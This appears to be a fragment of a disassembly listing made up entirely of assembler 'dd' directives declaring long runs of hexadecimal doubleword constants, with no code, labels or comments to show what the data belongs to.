		dd 237D48AFh, 34408252h, 741F551Eh, 0D20B565Bh,	9A4727Fh
		dd 76B98D60h, 0CA3810F4h, 33A492FEh, 0C1611A5Fh, 4E95410Ah
		dd 5327EA5Dh, 59ADB3E5h, 60A14A45h, 0AABDE9FAh,	39CE2BC0h
		dd 9F5CE603h, 127E9B89h, 25FCF681h, 0FD2FABBEh,	6DBE4EA8h
		dd 5DC62BB4h, 9FE4BD88h, 57A1B20h, 1E68DA01h, 0AEF36136h
		dd 90FA05B8h, 0EF65AC9Fh, 3404259Fh, 0D0B09053h, 0D0B74104h
		dd 0AE5E2CE8h, 0B600609Dh, 25E91BB6h, 7C548367h, 79A5C867h
		dd 805CD4h, 6F1F10E1h, 0CA10C56h, 0D548021Bh, 58757C01h
		dd 0E1ACE40Bh, 17B92201h, 3C0DA51Fh, 39A1510Eh,	67986AC2h
		dd 0D93ABC80h, 0F8455D27h, 0BFD05E80h, 3D60448h, 26486866h
		dd 52EC4FA5h, 0E7C20EC5h, 555425FEh, 5C9826E6h,	2F2796B5h
		dd 74AA90E9h, 4E5A0412h, 413BAD71h, 86CB2F08h, 4B85E117h
		dd 729CFA49h, 74E5C204h, 0D4BF2943h, 4F081E90h,	88385DEAh
		dd 2A264208h, 9717E136h, 0F654DB98h, 0DFB05441h, 0EB801C93h
		dd 51C3075Fh, 86E95FB5h, 365B9DE1h, 40FE302Fh, 5DC0E99Ch
		dd 0BF2D4C5Eh, 5EAD9DF4h, 0B6895A55h, 0B7AC3F56h, 0ADF5F108h
		dd 0A03BCA56h, 243505BCh, 0AA15DE7Dh, 0D302D51Eh, 847B16BDh
		dd 60B40AE3h, 0DC675E53h, 979401C7h, 0E7086809h, 9BA4BF76h
		dd 885387B0h, 94A385E7h, 0BB0E94E9h, 502A7EACh,	0B5F3ECE4h
		dd 16F7B942h, 0D43AFFD3h, 1EE8BB1Bh, 26129CB1h,	5B7005F5h
		dd 0ECB30943h, 587BA110h, 94792E25h, 0F80EA620h, 0D6735423h
		dd 402375EAh, 898C4035h, 5A9D05F2h, 0C1DBEDEh, 50CEB116h
		dd 0ED94BACAh, 642C4687h, 0FF1C69FEh, 0E2317E16h, 0C608189Fh
		dd 9D806BDCh, 68124F64h, 1FFC3E02h, 0BD7A0DC6h,	0F992DC2Dh
		dd 0B831930Bh, 82C3F29Fh, 6038BDDCh, 3B0CB6h, 662D4ECCh
		dd 0D10DF71h, 11FC13Fh,	585A056Eh, 0D27AB0F5h, 4100EBA3h
		dd 0ED30F238h, 5D2685E2h, 885C98AFh, 4F296F40h,	0EFD7D8CFh
		dd 0D3F6B909h, 5F9604F3h, 80788DFEh, 8E6B8A0Ch,	0BF7CE978h
		dd 0D3FEFAEAh, 33657009h, 0ADF2CB9Bh, 889F0CF3h, 88024237h
		dd 0C3805BF9h, 43CB8220h, 605EAEADh, 0CAF73DE5h, 1E7B6324h
		dd 0FF00144Eh, 2A2DD7B8h, 2A9E23h, 9A25E8D1h, 145F5671h
		dd 0B5EFF6D4h, 92B16FA2h, 1235E67Ah, 3A646720h,	5E8480FEh
		dd 0DAE4D787h, 1AE94316h, 7CAF3084h, 2532E986h,	0F2EF4F99h
		dd 0B9A2761Dh, 8B5349EEh, 5F6AED09h, 0C26BE659h, 2014D5F8h
		dd 4AEF6849h, 3C42CBFh,	29193D18h, 0B78B2AAh, 0E6E92D99h
		dd 765B1463h, 2BA9EABCh, 0AD6FFFE5h, 0A0E6D3FDh, 64CEED02h
		dd 26E237C2h, 13D8C177h, 52D3D72Dh, 1BBA0BEDh, 0E90965FEh
		dd 7EAF2BACh, 7A9B0116h, 3F412A45h, 0EF118B4h, 52DF7287h
		dd 0FE7DBCDEh, 0FE0CC143h, 2F8BA1F7h, 9E1347F0h, 0A876274Fh
		dd 5833D4FAh, 0BF80146Eh, 49127B39h, 0B14A784Dh, 58D2933Ah
		dd 20140E0Bh, 0FB0BB89h, 0C3A0C0CCh, 0E0FEC486h, 0C89F6D98h
		dd 98D90192h, 0B2DF920Ah, 0F0EF5DC2h, 5B4CB801h, 7F3145AFh
		dd 0E9E0F5ECh, 0EEBF2B4Ah, 755B5C74h, 0AB55FE35h, 0A94481C3h
		dd 95F41A5Dh, 337B9F5Bh, 6D286885h, 0F182F837h,	0F9B4685Fh
		dd 0EEF9538h, 1312088h,	0C28001B2h, 62068A9Bh, 2C138D88h
		dd 387466E8h, 5937E9AAh, 5627C45Bh, 3F49D8FAh, 14B47D5Eh
		dd 454E12CAh, 75170437h, 90ED408Ah, 9F116F54h, 0BE05A152h
		dd 315E1CF6h, 585DE3FEh, 55B69C2h, 27EA98AAh, 72C88270h
		dd 73B71FE4h, 0B0844996h, 417B91Fh, 323C451Ah, 2E018782h
		dd 393BE5C0h, 4D0B68FBh, 0F374B3E9h, 0C6B68925h, 0B5B24CDFh
		dd 0A25A9654h, 0EA695AAh, 80BD0016h, 0E2C05BCAh, 4A1D034Ch
		dd 7533F8C2h, 53123D65h, 4BC5D70Eh, 4912F9EBh, 0F2DFEEE2h
		dd 6AB826F4h, 0EA26171Dh, 7E5ABBC1h, 0B5DDD234h, 0ECE961F0h
		dd 9A953B39h, 9F685503h, 5370FB68h, 9815F797h, 0C325AE29h
		dd 0F5EE920Bh, 448ADC48h, 1560E79Eh, 7E12B665h,	0A8517740h
		dd 9977E4A1h, 0E8884316h, 224847E9h, 0F5598B83h, 1448D6B3h
		dd 4A30048Eh, 0D6E06DA4h, 6EE9E6D1h, 0FE808187h, 2268CE81h
		dd 66C7F3Bh, 1E7AB6EEh,	0C107EC30h, 9DDA2FD0h, 3FB07A93h
		dd 0A540F57Bh, 3D221CBEh, 0B5756990h, 5B2161E5h, 0AFF5DE2Fh
		dd 96597FFh, 8002C301h,	920A95A0h, 0DC298A0Bh, 8CC7EA8Bh
		dd 567E59A4h, 4C73BE00h, 0F6816BFAh, 586DF62Dh,	915FD9D4h
		dd 7BF729DFh, 0AB4EC7CBh, 0D55365C2h, 0E5EBBAD9h, 0FAE94196h
		dd 80EF0484h, 5E0F5487h, 0CD874506h, 0A008D9F7h, 12C19BE6h
		dd 0C001A703h, 3536C3A6h, 0A477F83Ch, 820BBF3h,	0E9EB290Dh
		dd 3CA66BA3h, 509907D9h, 0D5B9C559h, 3D13B9FFh,	0AB2CA1Fh
		dd 217148Dh, 6772E5A3h,	18B15100h, 0C828AE2Ch, 2B9D2C68h
		dd 36B7609Ah, 7073EF80h, 0F699E703h, 0D7CFFED7h, 0B4508120h
		dd 3F4FA98h, 8ECC0F9h, 0C4F3DCF6h, 58E730D8h, 0FFD8A3B5h
		dd 0B03E9ED0h, 8887E515h, 3B5F6857h, 13BD5A08h,	0CBF2F89Ch
		dd 182DD8FCh, 608E6C0h,	0EE4C8004h, 10F602B5h, 0D777EC68h
		dd 0F4A98219h, 8625BCC5h, 0A78F63F5h, 8420ED93h, 78BB9782h
		dd 0D86C9686h, 586093E9h, 1BF4BE16h, 870A48A8h,	0D4212673h
		dd 0AE5C1642h, 633003C9h, 0C2BA80CBh, 19964E1Eh, 0D5EB5B8Bh
		dd 685C5868h, 5B4B8F38h, 7B982DBAh, 4067EE4h, 0E5C14384h
		dd 0E61B8308h, 303C58B9h, 2B2FE9F5h, 5D26279Bh,	23F84484h
		dd 0D6E0A64Fh, 5B03412h, 25307E05h, 0E0F22E23h,	0B8C44B5Bh
		dd 855CE7AEh, 5420052Dh, 4B090130h, 4886A868h, 0E4A319FBh
		dd 72D85464h, 0ACDFB633h, 56BB045Dh, 0B45DFC29h, 3B43CFC0h
		dd 4A4730DEh, 3C0B0E74h, 0CDEF384Ah, 6C8BC199h,	3BAFC550h
		dd 50A93DFBh, 50666559h, 205D525Ch, 49412E34h, 6B093EC9h
		dd 2F05040Dh, 0A096A892h
		dd 26A5DF7h, 0E95E732Dh, 7CE8549Dh, 99252F08h, 0FD888204h
		dd 3A740AEFh, 0D875A04Fh, 0C6FCDCE0h, 0CB1CA8EDh, 5A87184Dh
		dd 0E87041FFh, 3EFCD18Dh, 84794A1Eh, 11903E72h,	831CC6C2h
		dd 825E4943h, 40B4EACCh, 73302F0Ch, 0ABD29554h,	305D0882h
		dd 978D781Dh, 2909DADBh, 8BCCD5E8h, 0FD741A30h,	1D4FADEBh
		dd 0A6C16E08h, 93F301D6h, 8251BB2Ch, 4D65E41Eh,	51D5830h
		dd 0AB13540h, 0C4788418h, 381AC09Bh, 553D7A22h,	0A86127E9h
		dd 9D02EFFFh, 0DF3FAD16h, 66F1D5E2h, 6490DD25h,	0D4B7B79Ah
		dd 0DB5D5AFDh, 0BB5300BBh, 61021091h, 0EF0083BCh, 8BE99EFDh
		dd 4A119275h, 91D2AAC7h, 44A0F707h, 15382FCBh, 92D41960h
		dd 2B30C25Dh, 803BD829h, 0E333632Dh, 2F4BE97Dh,	4380DCC5h
		dd 50F638C2h, 988AF6DAh, 35B50E9Bh, 32D2EB08h, 8021026Eh
		dd 0B02FBAC3h, 295F6E5h, 206C671h, 0BB68C8FEh, 4AED28DFh
		dd 0E0E91320h, 5653C347h, 0FF70B872h, 0D2173551h, 402AE6E4h
		dd 575B5056h, 89A444EBh, 0DFB5EEE3h, 3E60E135h,	932DDFDEh
		dd 3AAAE1B1h, 135E32E0h, 539F3BA1h, 0D7F0100Eh,	0A5C72192h
		dd 60E23A99h, 1D735D78h, 544CD14Ch, 6F42DB0Bh, 630E7EF0h
		dd 0C073E43Dh, 647F30E5h, 90E91918h, 7BFB338Fh,	242D65DCh
		dd 21A2E94h, 4CA96291h,	60815E75h, 0FE1A03F2h, 7FE9682Fh
		dd 0BF5C1A85h, 97FBEA6h, 77150BDDh, 273B46D5h, 8E5E5EF2h
		dd 7ABC6861h, 0DABF332Fh, 4E553948h, 9DF54EA8h,	79E16A64h
		dd 97BEB63Eh, 0E12DE6B2h, 68EF05D1h, 0ECF6279Fh, 0E933304Bh
		dd 0DD3B4B4Dh, 7291ED86h, 8DE94051h, 6FC39DCAh,	0F04F3528h
		dd 0EEB32677h, 0F1BD126Ch, 6331EB5Eh, 43033EB0h, 7271BAB1h
		dd 878612B5h, 0C032275Ah, 2F0F08D0h, 9CF55363h,	0B4A8C491h
		dd 2E7882D4h, 41A47354h, 5811FE25h, 73622599h, 33E12Ch
		dd 0E831DD87h, 8DFC5E4h, 7C9D8C49h, 0F30B6BC5h,	0D43242C2h
		dd 6D4B03F8h, 1005F070h, 0DFBC18FEh, 0E95F3150h, 0C865032Dh
		dd 0BE9A4485h, 3745622Bh, 4107A6DFh, 0F229270Dh, 0ADE93B60h
		dd 2C7A26Bh, 0F40859C8h, 11786EBCh, 6817DDF7h, 3ACC0480h
		dd 5B3C13E1h, 0A3FC121h, 4E407DCDh, 0C7B357EAh,	0A1F1A951h
		dd 0F699D362h, 0D8A24C4Ch, 25B11C02h, 5151F768h, 0E2571264h
		dd 2A5C316h, 0B0BFDB16h, 0B06F1767h, 5FC85D3Bh,	4A661E0Eh
		dd 5E2C123h, 2A75CDE9h,	39CFC841h, 0CB2010B6h, 38711259h
		dd 0CCB5E12Ah, 1708C41Eh, 0A42815E9h, 2DF70818h, 100A0A2Ch
		dd 29C0840Ah, 0B2796927h, 37630FC9h, 0F568E944h, 57A75630h
		dd 30427B2Dh, 0BE168EA6h, 977A5FE3h, 254D83B7h,	66540907h
		dd 0DB13285Bh, 6B3233E1h, 904A69A2h, 730DCA4Ch,	0E97EE404h
		dd 80E890F4h, 2ED85DC9h, 7671B800h, 3E2D4554h, 81105E30h
		dd 6FC7FD8Bh, 368948FCh, 0B65785ABh, 0FCF4BFDFh, 90FA3865h
		dd 6ABEF517h, 6730072Ch, 77522307h, 1EBB007Bh, 903B8C3Eh
		dd 987002E5h, 0B4E9A949h, 94913D1h, 5EC957B7h, 0ACE0506Fh
		dd 9E2F6866h, 0B732A057h, 0E0A52CAEh, 0F90474F8h, 9869B87Eh
		dd 44B4A80h, 0DDE9169Bh, 0CC98FA60h, 0E477B072h, 0E04D3D2h
		dd 0CA600C80h, 6E92E9B9h, 0ACBADF95h, 9E7D955h,	0F7F60B87h
		dd 0C109C6Ah, 576BBE05h, 509873Dh, 0E931EF31h, 0C0D6EB80h
		dd 0E7284B9Eh, 0ECC110BAh, 345B3968h, 0DA3ED4B3h, 0FEB5F281h
		dd 42B050C2h, 8B7FE2D6h, 6F671841h, 31A2FA7h, 6538B170h
		dd 61EE5E96h, 6B3BF767h, 264A8336h, 0CB334039h,	2DDE2A22h
		dd 266F47DEh, 0B572D961h, 805C6F70h, 0CE8809AFh, 0BEB98459h
		dd 0E35A5DA2h, 0E5F7EA9h, 95EC401h, 0E07F5DEFh,	770BC79Fh
		dd 76633140h, 46F725CFh, 4BC9F42Ch, 0A17DBC86h,	307A4668h
		dd 0FECDB670h, 0F604CE61h, 17CD80DEh, 0B5AEC6CCh, 1F7A17D0h
		dd 8ED5F725h, 2895A0CFh, 0F1A0E9FEh, 0AA577492h, 5FC9F8A3h
		dd 0FA46DF9h, 0E23C0C02h, 0B1D4C020h, 0C3794A1Eh, 0BCDCC18Eh
		dd 31231F0Bh, 0D72939C3h, 0ED405A5Ah, 552574BFh, 0A6C0FB4Ch
		dd 0BB81134Ah, 12A5E867h, 522624F8h, 82F724BDh,	10FA685Fh
		dd 2B907E66h, 0E50E1B0Bh, 30A77E46h, 0DF80AB70h, 0C829D805h
		dd 0CBEA8959h, 55FC4F17h, 27676409h, 22D564FFh,	0E50BB36Ah
		dd 0DF317F36h, 586DFA00h, 0C5F84B71h, 6CC19250h, 6F2931FDh
		dd 970DFAB0h, 6857830Bh, 805153C6h, 60266859h, 25C0CF7Ch
		dd 131D1E01h, 459EFFE9h, 9270D449h, 6750EBB8h, 1E285D4Eh
		dd 89F79654h, 54745AA5h, 8B030892h, 97010469h, 0A883D095h
		dd 8DBBCC1Dh, 0FB21E54Fh, 63EEDF02h, 80ED7208h,	877C7BC6h
		dd 0E3C1284Bh, 0EC306E3h, 0C1C5167h, 3A6E8305h,	44814B09h
		dd 63FEB5BAh, 4B8CCBFCh, 63F5044Eh, 15C2168Bh, 8994F350h
		dd 0BED0FBE9h, 0AAC4C5BDh, 0D45E9D9Ch, 0B5286158h, 6DF47CCCh
		dd 55300D4Eh, 5C0E5329h, 0C6100F20h, 785D589Eh,	979DC497h
		dd 7B52CFD1h, 103224A4h, 0C38606AFh, 9008D0F6h,	78EF7E52h
		dd 0CFEB95ABh, 7C54A827h, 9AE9C152h, 0C2A59F91h, 5BA2D6A7h
		dd 5135EFE0h, 0D2C2135Fh, 750889EAh, 0D02101B0h, 5433F4B5h
		dd 5735E913h, 79C6F8A8h, 0C602270Ah, 0A6EAE04Fh, 4A72E021h
		dd 4772C142h, 3BCAD5C5h, 0FD0D0D80h, 2E970C14h,	0E96CF750h
		dd 0FCB47A5Bh, 305A0BF5h, 0E58459ECh, 6F49A11Ch, 9EC29D67h
		dd 6CF457B4h, 0C2C07769h, 5A04D131h, 9834E95Bh,	0D6FCFCAh
		dd 0B801CBC5h, 0BC75C413h, 0F5EA2807h, 69F0BC45h, 13CD9C1Fh
		dd 0B46180E9h, 50B23019h, 172FB53Ch, 78155FB4h,	0AB592556h
		dd 2841DB7Eh, 0A45E4EECh, 0AB148816h, 0C2C3B784h, 0FE2EE95Ah
		dd 9FD523D6h, 52945256h, 6C6018Ch, 0F55AF130h, 2CC8C009h
		dd 0D0B159E8h, 8DE07425h, 2E916221h, 0F2EF6C85h, 732F7FBCh
		dd 0A62E4692h, 82297650h, 17D098F7h, 6675824Fh,	0BF0F152Dh
		dd 6D92D3C8h, 25292EFAh, 97EE6A8Bh, 0CAD7F329h,	0AC5F0EB3h
		dd 555291Bh, 5C773668h,	8024740Ah, 540DEAAAh, 5AA8384Eh
		dd 15014483h, 0F45589B2h, 709BC253h, 0E0D5E3A9h, 1CED73AEh
		dd 85FB8747h, 0FFD1F7CFh, 9F3151C8h, 745B01C9h,	4DFE3907h
		dd 0AFBC4EE4h, 3352681Fh, 0B80B6EB3h, 8757534Dh, 0E6EE23BDh
		dd 909D451Ah, 41C70976h, 9F0073E7h, 21B9352Eh, 46DE897h
		dd 34D52291h, 4FFC0E20h, 0E3CCA85Fh, 91215B9Eh,	9D2AECA8h
		dd 0FE670D95h, 595B58FFh, 59495099h, 10FFAF57h,	9211E9BAh
		dd 5968E658h, 67931930h, 0FFCD95E1h, 102B9107h,	0EA2952D1h
		dd 80B95E3h, 854A045Dh,	74172DCBh, 0FAC9AABEh, 40B50120h
		dd 2EFEBD3Dh, 0DE1C0F27h, 37C31E0Ah, 0FFD899DFh, 4B77519Dh
		dd 0B880CD4Eh, 0C7094762h, 5DEEC106h, 0E1C6B5E0h, 28CC291Eh
		dd 0F3BCE6DFh, 2111B20Ch, 7841E04h, 0E9FBFEEFh,	306DAD3Ch
		dd 1BBFAF11h, 4DC3C1DFh, 3E5DCB8Ch, 5352DF9Fh, 52D41712h
		dd 0BE9673A6h, 3168EC38h, 65B33F9h, 2EFE2AD4h, 0F4E909CEh
		dd 8D9AD95Ch, 0F93F80D5h, 0D82DA76Dh, 6ABF05FEh, 0BE2127D8h
		dd 76DE6B0Fh, 0E0CCEB90h, 29902F01h, 0A5A0F0F6h, 65C520Ah
		dd 0EE81A258h, 61654208h, 0DB36A850h, 9DE97869h, 68F09077h
		dd 0B6224B2Bh, 7D572DACh, 6852D3B0h, 187D6627h,	0E19BF41h
		dd 0E9428206h, 68D147B7h, 370BECC8h, 1145184Eh,	60B0B7Fh
		dd 4B797096h, 8B17ABBDh, 83B9FACh, 0B91F9DFh, 64715FE9h
		dd 0B2AAF01Ch, 9DF4FC72h
		dd 0FBA404C3h, 0A3AAED85h, 0DA542BC5h, 89086324h, 0F85E160Dh
		dd 507A646h, 707B9605h,	0B4BC1648h, 0AEA201BEh,	33E9B101h
		dd 91EC3FE8h, 4096F685h, 661BE2F1h, 0F2EC7DA8h,	6EBD0D7Fh
		dd 0CE91817h, 68503E7Ah, 712F897Eh, 976F332h, 0BE4A28D8h
		dd 1B338957h, 0C771F9CBh, 0D125343Eh, 81996BD1h, 7029C585h
		dd 4FED1EFBh, 59A5903Ah, 5170EB80h, 92EB60BAh, 9FA98310h
		dd 440DBF02h, 0D54DDBh,	24BBF86Eh, 0AFE919B2h, 3E0B817Fh
		dd 9A479BA9h, 87E98D62h, 0B80557D0h, 18A30F7Fh,	82C2D8BBh
		dd 7A1488E6h, 9223D809h, 0ABB513AEh, 0B9BA71D0h, 19D32532h
		dd 712D91DEh, 0EC5D2748h, 137F91A7h, 5C1882AAh,	0DC978972h
		dd 58E7040Dh, 22A838Ah,	84E7CCBh, 5919D9A6h, 0A8DC4730h
		dd 0CF7AD667h, 9678E13Dh, 0B1A98408h, 0CCBE672h, 7E3C0F9h
		dd 28484412h, 0DB532F0Eh, 8C0E966Eh, 0FE1D5194h, 530066C4h
		dd 0D2E944B3h, 0FDBB7FAh, 0C1A1926Bh, 0B05C610h, 8F705209h
		dd 0FA382C2Fh, 0FF855F9Eh, 0BCAC541Dh, 0F8495B58h, 760C953Ah
		dd 5A5FF006h, 5E4AB882h, 0C3884EA8h, 0C5209528h, 0BE68168Ah
		dd 0C2C9ED5Dh, 0DC6ACCE9h, 0B2F382D2h, 40FDB836h, 0C32089Ch
		dd 0D989E71Ch, 0EA2FE95Dh, 444753F0h, 5E604433h, 89E97AD5h
		dd 1B891127h, 55611ED5h, 0A9228CA5h, 0A9A47C12h, 92DC266Fh
		dd 5BAC5D93h, 0A5F10A8Ah, 81E7605Fh, 8182824Ah,	0E07D78A9h
		dd 0D74DE3CCh, 1FCF216h, 3189F901h, 567C5E59h, 66C170D5h
		dd 824D9D3Bh, 220AA3E2h, 0E12DE055h, 8192570h, 723FEC60h
		dd 0EF620FBCh, 17D07557h, 695C88AAh, 0A1CEF552h, 2D10989Fh
		dd 3D0A1C6Fh, 5F04A01h,	575E0C07h, 4317F428h, 5C40281Bh
		dd 474F8FE6h, 0B05B009h, 6EFF1115h, 121D1107h, 227F7043h
		dd 25C53D8h, 407D60B2h,	419EAA4h, 0D048B551h, 0DDA7C2E5h
		dd 7F6B7D56h, 0EA009814h, 2D65231Eh, 1557C201h,	0CB730FE9h
		dd 374EB74Ch, 403DFF65h, 0E97CCB4Bh, 0D9B5032Ch, 0FFCBBC82h
		dd 50C6E410h, 0C7BF2840h, 0F8193F48h, 0D95864B8h, 5A3D24FCh
		dd 5A50DCB7h, 405AE85Ch, 242B38FDh, 36962DAh, 2C064FE1h
		dd 0DB130C7Eh, 6FAC36D3h, 588EF64Ah, 394604B5h,	0C4AB15F3h
		dd 0E93670E3h, 289AD2F5h, 68E6F205h, 95E24114h,	61B05001h
		dd 7E1F27E9h, 0CAEFEF89h, 4668F72Eh, 0D4914926h, 10F8A08h
		dd 100E95BBh, 2EFEE963h, 1CBD31E4h, 0BD2F4B61h,	996F4BFAh
		dd 3C12E91Ch, 1AB94EBDh, 3CF6EEF4h, 671D5D96h, 0E2BC99D5h
		dd 317D793Ch, 0B9B96495h, 900105E6h, 8165E7Eh, 19D40C82h
		dd 0B3C97DD6h, 6C06A48h, 3A7E1B25h, 738036B8h, 2D478230h
		dd 0FD2D0F04h, 2C007521h, 6E3863C7h, 0EF034C76h, 74BA59FCh
		dd 801CB629h, 6494E908h, 0F8B9861Eh, 0EACD8FCFh, 2013B658h
		dd 291F65B6h, 0CD5B15DFh, 535FA04Ah, 64A5E49Dh,	0AFEAC96Fh
		dd 0CA551B1h, 765D0A7Dh, 75136E2Ch, 68CB97EDh, 0FA30180Bh
		dd 5EB54840h, 0D15DD21Dh, 0B1E483Ah, 0C45DC019h, 0A5A997D3h
		dd 0A2B745D7h, 0A6205FCCh, 5B7D136Fh, 2CA555BCh, 0D6925F5Bh
		dd 0D8935B2Ch, 0D8F70303h, 86D7E953h, 0AC688680h, 584B7A21h
		dd 0BE0B2D38h, 6E917A0h, 0BE3D35FBh, 6F919400h,	17892F86h
		dd 84DFE9CFh, 0FF9257FCh, 0CD34E8Ah, 0D3FF6084h, 20F84A4Ch
		dd 0EDBD05ABh, 0EF613373h, 0B5ABD184h, 7750CA3Dh, 50CDDCB7h
		dd 3ED2477Ch, 0BB4BDF8Bh, 6820C839h, 0FB674B16h, 0D7586AC8h
		dd 899C2C49h, 38EEE24Fh, 0C424E999h, 568A9937h,	2EC5D24Eh
		dd 588D2A10h, 5A247A21h, 0CB93556Ah, 40AA4C12h,	0FB0159F1h
		dd 0E80FBA52h, 0E00E7673h, 483BE7CAh, 0C2832E4Ah, 11B00C9Dh
		dd 0C3EC463Eh, 0DA9DD04Fh, 0BFF536ECh, 0F5A78151h, 4190F796h
		dd 407A20h, 1CD21635h, 264C68D0h, 1920FA92h, 0A7529FCCh
		dd 1FC8F53Fh, 8D921720h, 8735D981h, 0F460B6D4h,	2F1D9CBFh
		dd 0E9F00954h, 2F32B4C2h, 5CEC2975h, 2807A43h, 3791779Eh
		dd 0E731E92Eh, 0D7F75F84h, 8B97A6C4h, 1033DC79h, 0A0BD01FEh
		dd 81433339h, 62412F3Ch, 245A807Fh, 6A0EDC49h, 7BF5095Eh
		dd 0D3CFDBD8h, 0E3C1B07Ah, 5BF92D74h, 1D95D3E3h, 0B44CC908h
		dd 9148B67Fh, 0C14928A9h, 16DEB99Bh, 0EAD642B1h, 0B573465Dh
		dd 0D0139EFBh, 0C8873E87h, 0D892B874h, 2945405Ah, 6AFA2469h
		dd 52F703ABh, 0E7B006AFh, 57306ED6h, 0EAEC1830h, 80D44E51h
		dd 61EDE944h, 31ADC69Fh, 510E54A6h, 0AB80CA50h,	21F13EC7h
		dd 0DCC4F5B8h, 1A8D869Dh, 912B30E1h, 63704D68h,	67814AF5h
		dd 0E0DEDB3Fh, 0EE40A03Dh, 16A1BD4Bh, 20462138h, 3302C638h
		dd 89EB7AFEh, 6664FFF2h, 3B986AA0h, 0AC11D23Dh,	518E826Dh
		dd 4E8CE654h, 0EE294876h, 4458E84h, 0F8AAD2F6h,	686F09A3h
		dd 0F0D24684h, 6034BC12h, 0E9A2B151h, 24096A4Ah, 4558745Ch
		dd 275CEC88h, 0CFC9EE28h, 9EEA5907h, 6D7C2FC1h,	2A26172h
		dd 0D2C86E09h, 0EF3025F6h, 0C309D88Bh, 57A4275h, 65D57AE9h
		dd 1A102DF8h, 0D2680A35h, 509E5B61h, 0A07D546Dh, 8005FF86h
		dd 0E0C0AA2Bh, 72FE063Ah, 0D0F6C800h, 0C1289734h, 889F2DE9h
		dd 0D8E9D0D6h, 16FE4F1Eh, 0BA6ED84Bh, 66BA4C5Eh, 0B227830Dh
		dd 339A41E8h, 400EEAC1h, 5E81BCCAh, 0E3566296h,	0E6558F58h
		dd 272AF272h, 94D5295Dh, 13C3F6F0h, 0B9B493E9h,	7E8985F8h
		dd 6D6CFA9h, 6F0DB4A4h,	5C2ABE09h, 3C85FFA9h, 73F18229h
		dd 390060DDh, 0CD80806Bh, 0C5252873h, 4502FD17h, 0AE542AEDh
		dd 0CAE95D0Fh, 2D839D92h, 0D1105211h, 3F8E75E1h, 0E66474CEh
		dd 0DE2887CFh, 759521Eh, 85F788A0h, 0BE7E9595h,	0EB00A0CEh
		dd 52C57061h, 8898F301h, 58FA0882h, 7E065A27h, 2AFB7B41h
		dd 66C1ED4Eh, 0AB80591Dh, 16741BDBh, 58545F50h,	55B03108h
		dd 39355558h, 5FD26C7h,	5F2F380Bh, 3359E632h, 2CED5669h
		dd 0E6589249h, 0A9E98499h, 0F1D2D5ABh, 26A96BCDh, 50E85AA2h
		dd 0D00E0D1h, 455E493Dh, 2EEB7B2Dh, 2BC577Eh, 25B802CAh
		dd 8A81C0Fh, 9259EB6h, 0FC0CABB7h, 1052D20Dh, 4C32E918h
		dd 12C1B9D1h, 0EB5BBD58h, 1A41E0A0h, 1904F181h,	903708FFh
		dd 57217912h, 0E8729DFCh, 49270894h, 0AC9141EEh, 441D440Bh
		dd 6263BC14h, 0D3D7E111h, 872A4D8h, 5307CC95h, 0DD006CB3h
		dd 0C7EB285Bh, 9229A8Eh, 9D3DC6F5h, 0DA6683D7h,	0B8BB845Dh
		dd 0DC5AB34Fh, 0CE148714h, 0F16E86Ch, 0F838358Ch, 94C54E65h
		dd 93ADA2EFh, 1478E90Ch, 28DE0AB0h, 9C266C7h, 0F62BCEB1h
		dd 0C4203672h, 0D0F8BD59h, 756C8125h, 1055AD12h, 977A42DBh
		dd 0DCFDA7A0h, 31609451h, 7F78E235h, 0D52B50BFh, 6452888h
		dd 4D681D1h, 4C7B26Ah, 3BD684E2h, 9018782h, 6F5E810Dh
		dd 0C680D880h, 4671E7C3h, 0E172ADE8h, 9672B93Ah, 5F73A800h
		dd 45036D3h, 0D97F83B8h, 0B005BA27h, 4EADAF7h, 0F88778A4h
		dd 0C6D70556h, 0D9B0C16Dh, 0F7E91656h, 1CC9B4C0h, 0EAE41341h
		dd 0C2800708h, 0EED188CEh, 0D13CF69h, 9374EFA2h, 206EF482h
		dd 67E7C0AAh, 31452613h, 825F1288h, 0B89C301h, 0C00893D1h
		dd 0D1B2098Ch, 0D09CE1C8h, 9972E267h, 685AD700h, 0B3404EFAh
		dd 1CC6104Dh, 0DB13533Fh, 0B2CABC0Ah, 2BB9775Bh, 53D2745Dh
		dd 0E24EE927h, 0F51E7500h, 98FE5B4Bh, 0AADE8AB2h, 9EE96853h
		dd 0D471615Ah, 0BDB33EBFh, 0B193710h, 0D9482668h, 408C80FCh
		dd 0CB816EDDh, 0CE263F7Ah
		dd 0BC0FA556h, 0F05E4928h, 0A1CC1DA0h, 0B2F52DDFh, 6B0A8098h
		dd 7C07EEC0h, 323E5A68h, 8240D9E3h, 27B16A17h, 0D7370124h
		dd 4A71A55Fh, 83F03ADh,	0DD095EA5h, 0E42AB6E1h,	3496E18Ah
		dd 7DB13A7Ah, 0A8689FB0h, 66C8F4B2h, 0D5F62744h, 76292403h
		dd 2120E177h, 30494101h, 3825704h, 2464C8h, 1343B8B3h
		dd 0A12501BCh, 38903C0Eh, 0C2086505h, 274536F0h, 0B1436E17h
		dd 0EC8EFF94h, 22E7D11Bh, 802F382h, 80F540C7h, 56DF947Eh
		dd 8840C526h, 0AB82D752h, 0DB87228h, 680056F3h,	2BCF3037h
		dd 0E186B0E9h, 6561FA2Ah, 0B23E0725h, 20A06588h, 0C130CDF1h
		dd 90979895h, 2ADE58B6h, 21E9F004h, 0C14DD1D5h,	9FD941EEh
		dd 63BB00CAh, 30343250h, 0F620A394h, 62D946A9h,	43195E36h
		dd 685CE698h, 66648525h, 20F50F30h, 0F90B08ABh,	53905D9Ch
		dd 4E74FE25h, 685725B7h, 0D2139A7Dh, 12264ABCh,	0B32DAB3Ah
		dd 0D14FAD01h, 6415C182h, 84400ACEh, 63062A7h, 58860C04h
		dd 491D4C59h, 57349B20h, 0ACBA6654h, 4B68A046h,	43C59746h
		dd 55EFE2AFh, 3C07AF6h,	0CB075D08h, 5605FB44h, 0B008A845h
		dd 24E34486h, 17A35703h, 688342B2h, 3794482Ah, 51E5E916h
		dd 0C19D29BFh, 24F06376h, 0C7828A46h, 0F75EFAB9h, 5756F602h
		dd 22AE700Bh, 9B98A6DDh, 5D1A14B9h, 69B64120h, 3C69B16Fh
		dd 32E93C11h, 0E13032E2h, 0E62B88DEh, 0E72F7B2Ah, 44B8DC66h
		dd 0BFCDA077h, 0B94B810Ch, 139C5443h, 0BA444C7Fh, 0BCFBB6A4h
		dd 4FE2D6Eh, 0D97802D1h, 1C82BA02h, 8DC478C5h, 3C295A15h
		dd 2A0E41B9h, 0D9879BD5h, 8B366CA5h, 0C864A257h, 120BBB08h
		dd 0B86CD10Dh, 6A6560D0h, 9D634442h, 0A8A5E58Fh, 0A91CFCD3h
